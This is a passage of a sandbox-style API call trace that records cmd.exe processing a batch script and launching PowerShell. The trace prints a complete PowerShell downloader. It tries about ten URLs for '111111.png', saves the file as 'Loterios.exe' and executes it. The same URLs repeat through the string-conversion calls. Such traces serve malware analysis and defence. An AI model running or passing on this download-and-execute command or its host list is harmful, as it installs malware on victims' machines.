lpDistanceToMoveHigh=0x0) returned 0x9d8 [0167.492] GetProcessHeap () returned 0x20b0f920000 [0167.492] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94a220 [0167.492] GetProcessHeap () returned 0x20b0f920000 [0167.492] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94a220) returned 1 [0167.492] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.492] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x9d8 [0167.492] ReadFile (in: hFile=0xa0, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fec50, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fec50*=0xddd, lpOverlapped=0x0) returned 1 [0167.492] SetFilePointer (in: hFile=0xa0, lDistanceToMove=2526, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9de [0167.492] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=6, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr="atc^\r\n^\r\n\n\r\nRots\\Loterios.exe'; ^\r\n111111.png^\r\n1.png','http://nanfeiqiaowang.com/tsxwe/111111.png','http://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 6 [0167.492] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.492] GetFileType (hFile=0xa0) returned 0x1 [0167.492] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.492] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x9de [0167.492] GetProcessHeap () returned 0x20b0f920000 [0167.493] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94a220 [0167.493] GetProcessHeap () returned 0x20b0f920000 [0167.493] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94a220) returned 1 [0167.493] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.493] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x9de [0167.493] ReadFile (in: hFile=0xa0, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fec50, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fec50*=0xdd7, lpOverlapped=0x0) returned 1 [0167.493] SetFilePointer (in: hFile=0xa0, lDistanceToMove=2534, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9e6 [0167.493] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=8, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr="h{wri^\r\n\n\n\r\nRots\\Loterios.exe'; ^\r\n111111.png^\r\n1.png','http://nanfeiqiaowang.com/tsxwe/111111.png','http://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 8 [0167.493] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.493] GetFileType (hFile=0xa0) returned 0x1 [0167.493] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.493] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x9e6 [0167.494] GetProcessHeap () returned 0x20b0f920000 [0167.494] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94a220 [0167.494] GetProcessHeap () returned 0x20b0f920000 [0167.494] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94a220) returned 1 [0167.494] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.494] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x9e6 [0167.494] ReadFile (in: hFile=0xa0, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fec50, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fec50*=0xdcf, lpOverlapped=0x0) returned 1 [0167.494] SetFilePointer (in: hFile=0xa0, lDistanceToMove=2542, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9ee [0167.494] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=8, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr="te-ho^\r\n\n\n\r\nRots\\Loterios.exe'; ^\r\n111111.png^\r\n1.png','http://nanfeiqiaowang.com/tsxwe/111111.png','http://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 8 [0167.494] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.494] GetFileType (hFile=0xa0) returned 0x1 [0167.494] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.494] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x9ee [0167.494] GetProcessHeap () returned 0x20b0f920000 [0167.494] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94a220 [0167.494] GetProcessHeap () returned 0x20b0f920000 [0167.494] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94a220) returned 1 [0167.494] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.494] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x9ee [0167.495] ReadFile (in: hFile=0xa0, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fec50, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fec50*=0xdc7, lpOverlapped=0x0) returned 1 [0167.495] SetFilePointer (in: hFile=0xa0, lDistanceToMove=2552, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9f8 [0167.495] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=10, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr="st $_.E^\r\n\r\nRots\\Loterios.exe'; ^\r\n111111.png^\r\n1.png','http://nanfeiqiaowang.com/tsxwe/111111.png','http://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 10 [0167.495] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.495] GetFileType (hFile=0xa0) returned 0x1 [0167.495] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.495] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x9f8 [0167.495] GetProcessHeap () returned 0x20b0f920000 [0167.495] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94a220 [0167.495] GetProcessHeap () returned 0x20b0f920000 [0167.495] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94a220) returned 1 [0167.495] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.495] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x9f8 [0167.495] ReadFile (in: hFile=0xa0, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fec50, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fec50*=0xdbd, lpOverlapped=0x0) returned 1 [0167.495] SetFilePointer (in: hFile=0xa0, lDistanceToMove=2559, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9ff [0167.495] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=7, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr="xcep^\r\n^\r\n\r\nRots\\Loterios.exe'; ^\r\n111111.png^\r\n1.png','http://nanfeiqiaowang.com/tsxwe/111111.png','http://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 7 [0167.495] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.495] GetFileType (hFile=0xa0) returned 0x1 [0167.496] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.496] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x9ff [0167.496] GetProcessHeap () returned 0x20b0f920000 [0167.496] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94a220 [0167.496] GetProcessHeap () returned 0x20b0f920000 [0167.496] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94a220) returned 1 [0167.496] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.496] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x9ff [0167.496] ReadFile (in: hFile=0xa0, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fec50, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fec50*=0xdb6, lpOverlapped=0x0) returned 1 [0167.496] SetFilePointer (in: hFile=0xa0, lDistanceToMove=2565, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa05 [0167.496] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=6, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr="tio^\r\n\n^\r\n\r\nRots\\Loterios.exe'; ^\r\n111111.png^\r\n1.png','http://nanfeiqiaowang.com/tsxwe/111111.png','http://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 6 [0167.496] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.496] GetFileType (hFile=0xa0) returned 0x1 [0167.496] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.496] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa05 [0167.496] GetProcessHeap () returned 0x20b0f920000 [0167.496] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94a220 [0167.496] GetProcessHeap () returned 0x20b0f920000 [0167.496] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94a220) returned 1 [0167.497] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.497] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa05 [0167.497] ReadFile (in: hFile=0xa0, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fec50, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fec50*=0xdb0, lpOverlapped=0x0) returned 1 [0167.497] SetFilePointer (in: hFile=0xa0, lDistanceToMove=2572, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa0c [0167.497] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=7, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr="n.Me^\r\n^\r\n\r\nRots\\Loterios.exe'; ^\r\n111111.png^\r\n1.png','http://nanfeiqiaowang.com/tsxwe/111111.png','http://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 7 [0167.497] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.497] GetFileType (hFile=0xa0) returned 0x1 [0167.497] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.497] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa0c [0167.497] GetProcessHeap () returned 0x20b0f920000 [0167.497] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94a220 [0167.497] GetProcessHeap () returned 0x20b0f920000 [0167.497] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94a220) returned 1 [0167.497] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.497] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa0c [0167.497] ReadFile (in: hFile=0xa0, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fec50, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fec50*=0xda9, lpOverlapped=0x0) returned 1 [0167.497] SetFilePointer (in: hFile=0xa0, lDistanceToMove=2578, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa12 [0167.497] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=6, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr="ssa^\r\n\n^\r\n\r\nRots\\Loterios.exe'; ^\r\n111111.png^\r\n1.png','http://nanfeiqiaowang.com/tsxwe/111111.png','http://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 6 [0167.497] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.498] GetFileType (hFile=0xa0) returned 0x1 [0167.498] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.498] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa12 [0167.498] GetProcessHeap () returned 0x20b0f920000 [0167.498] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94a220 [0167.498] GetProcessHeap () returned 0x20b0f920000 [0167.498] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94a220) returned 1 [0167.498] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.498] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa12 [0167.498] ReadFile (in: hFile=0xa0, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fec50, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fec50*=0xda3, lpOverlapped=0x0) returned 1 [0167.498] SetFilePointer (in: hFile=0xa0, lDistanceToMove=2584, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa18 [0167.498] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=6, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr="ge}}\r\n\n^\r\n\r\nRots\\Loterios.exe'; ^\r\n111111.png^\r\n1.png','http://nanfeiqiaowang.com/tsxwe/111111.png','http://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 6 [0167.498] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.498] GetFileType (hFile=0xa0) returned 0x1 [0167.498] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.498] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa18 [0167.498] GetProcessHeap () returned 0x20b0f920000 [0167.498] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94a220 [0167.498] GetProcessHeap () returned 0x20b0f920000 [0167.498] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94a220) returned 1 [0167.498] GetProcessHeap () returned 0x20b0f920000 [0167.499] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x530) returned 0x20b0f947680 [0167.499] _tell (_FileHandle=3) returned 2584 [0167.499] _close (_FileHandle=3) returned 0 [0167.499] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92feb68 | out: _Buffer="\r\n") returned 2 [0167.499] _get_osfhandle (_FileHandle=1) returned 0x50 [0167.499] GetFileType (hFile=0x50) returned 0x2 [0167.499] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0167.499] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feaf8 | out: lpMode=0x9cb92feaf8) returned 1 [0167.501] _get_osfhandle (_FileHandle=1) returned 0x50 [0167.501] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92feb38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92feb38*=0x2) returned 1 [0167.507] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0167.507] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0167.507] _vsnwprintf (in: _Buffer=0x20b0fa50160, _BufferCount=0x83e5, _Format="%s", _ArgList=0x9cb92feb78 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0167.507] _vsnwprintf (in: _Buffer=0x20b0fa50186, _BufferCount=0x83d2, _Format="%c", _ArgList=0x9cb92feb78 | out: _Buffer=">") returned 1 [0167.507] _get_osfhandle (_FileHandle=1) returned 0x50 [0167.507] GetFileType (hFile=0x50) returned 0x2 [0167.507] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0167.507] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feb28 | out: lpMode=0x9cb92feb28) returned 1 [0167.507] _get_osfhandle (_FileHandle=1) returned 0x50 [0167.507] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0fa50160*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x9cb92feb68, lpReserved=0x0 | out: lpBuffer=0x20b0fa50160*, lpNumberOfCharsWritten=0x9cb92feb68*=0x14) returned 1 [0167.508] _get_osfhandle (_FileHandle=1) returned 0x50 [0167.508] GetFileType (hFile=0x50) returned 0x2 [0167.508] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0167.508] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0167.508] _get_osfhandle (_FileHandle=1) returned 0x50 [0167.508] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0f956f60*, nNumberOfCharsToWrite=0xa, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x20b0f956f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0xa) returned 1 [0167.509] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x9cb92fee38 | out: _Buffer=" Foreach($url in @('http://rijschoolfastandserious.nl/rprmloaw/111111.png','http://nanfeiqiaowang.com/tsxwe/111111.png','http://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png','http://marineworks.eu/dwaunrsamlbq/111111.png')) { try{$path = 'C:\\BlotRots\\Loterios.exe'; (New-Object Net.WebClient).DownloadFile($url.ToString(), $path);saps $path; break;}catch{write-host $_.Exception.Message}} ") returned 656 [0167.509] _get_osfhandle (_FileHandle=1) returned 0x50 [0167.509] GetFileType (hFile=0x50) returned 0x2 [0167.509] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0167.509] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedc8 | out: lpMode=0x9cb92fedc8) returned 1 [0167.510] _get_osfhandle (_FileHandle=1) returned 0x50 [0167.510] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x290, lpNumberOfCharsWritten=0x9cb92fee08, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee08*=0x290) returned 1 [0167.514] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92fee68 | out: _Buffer="\r\n") returned 2 [0167.514] _get_osfhandle (_FileHandle=1) returned 0x50 [0167.514] GetFileType (hFile=0x50) returned 0x2 [0167.514] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0167.514] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0167.515] _get_osfhandle (_FileHandle=1) returned 0x50 [0167.515] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0167.519] malloc (_Size=0xffce) returned 0x20b0fa60940 [0167.520] ??_V@YAXPEAX@Z () returned 0x20b0fa60940 [0167.520] _wcsicmp (_String1="POWerShell", _String2="DIR") returned 12 [0167.520] _wcsicmp (_String1="POWerShell", _String2="ERASE") returned 11 [0167.520] _wcsicmp (_String1="POWerShell", _String2="DEL") returned 12 [0167.520] _wcsicmp (_String1="POWerShell", _String2="TYPE") returned -4 [0167.520] _wcsicmp (_String1="POWerShell", _String2="COPY") returned 13 [0167.520] _wcsicmp (_String1="POWerShell", _String2="CD") returned 13 [0167.520] _wcsicmp (_String1="POWerShell", _String2="CHDIR") returned 13 [0167.520] _wcsicmp (_String1="POWerShell", _String2="RENAME") returned -2 [0167.520] _wcsicmp (_String1="POWerShell", _String2="REN") returned -2 [0167.521] _wcsicmp (_String1="POWerShell", _String2="ECHO") returned 11 [0167.521] _wcsicmp (_String1="POWerShell", _String2="SET") returned -3 [0167.521] _wcsicmp (_String1="POWerShell", _String2="PAUSE") returned 14 [0167.521] _wcsicmp (_String1="POWerShell", _String2="DATE") returned 12 [0167.521] _wcsicmp (_String1="POWerShell", _String2="TIME") returned -4 [0167.521] _wcsicmp (_String1="POWerShell", _String2="PROMPT") returned -3 [0167.521] _wcsicmp (_String1="POWerShell", _String2="MD") returned 3 [0167.521] _wcsicmp (_String1="POWerShell", _String2="MKDIR") returned 3 [0167.521] _wcsicmp (_String1="POWerShell", _String2="RD") returned -2 [0167.521] _wcsicmp (_String1="POWerShell", _String2="RMDIR") returned -2 [0167.521] _wcsicmp (_String1="POWerShell", _String2="PATH") returned 14 [0167.521] _wcsicmp (_String1="POWerShell", _String2="GOTO") returned 9 [0167.521] _wcsicmp (_String1="POWerShell", _String2="SHIFT") returned -3 [0167.521] _wcsicmp (_String1="POWerShell", _String2="CLS") returned 13 [0167.521] _wcsicmp (_String1="POWerShell", _String2="CALL") returned 13 [0167.521] _wcsicmp (_String1="POWerShell", _String2="VERIFY") returned -6 [0167.521] _wcsicmp (_String1="POWerShell", _String2="VER") returned -6 [0167.521] _wcsicmp (_String1="POWerShell", _String2="VOL") returned -6 [0167.521] _wcsicmp (_String1="POWerShell", _String2="EXIT") returned 11 [0167.521] _wcsicmp (_String1="POWerShell", _String2="SETLOCAL") returned -3 [0167.521] _wcsicmp (_String1="POWerShell", _String2="ENDLOCAL") returned 11 [0167.521] _wcsicmp (_String1="POWerShell", _String2="TITLE") returned -4 [0167.521] _wcsicmp (_String1="POWerShell", _String2="START") returned -3 [0167.521] _wcsicmp (_String1="POWerShell", _String2="DPATH") returned 12 [0167.521] _wcsicmp (_String1="POWerShell", _String2="KEYS") returned 5 [0167.521] _wcsicmp (_String1="POWerShell", _String2="MOVE") returned 3 [0167.521] _wcsicmp (_String1="POWerShell", _String2="PUSHD") returned -6 [0167.522] _wcsicmp (_String1="POWerShell", _String2="POPD") returned 7 [0167.522] _wcsicmp (_String1="POWerShell", _String2="ASSOC") returned 15 [0167.522] _wcsicmp (_String1="POWerShell", _String2="FTYPE") returned 10 [0167.522] _wcsicmp (_String1="POWerShell", _String2="BREAK") returned 14 [0167.522] _wcsicmp (_String1="POWerShell", _String2="COLOR") returned 13 [0167.522] _wcsicmp (_String1="POWerShell", _String2="MKLINK") returned 3 [0167.522] _wcsnicmp (_String1="POWe", _String2="cmd ", _MaxCount=0x4) returned 13 [0167.522] malloc (_Size=0xffce) returned 0x20b0fa70920 [0167.522] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0167.523] GetProcessHeap () 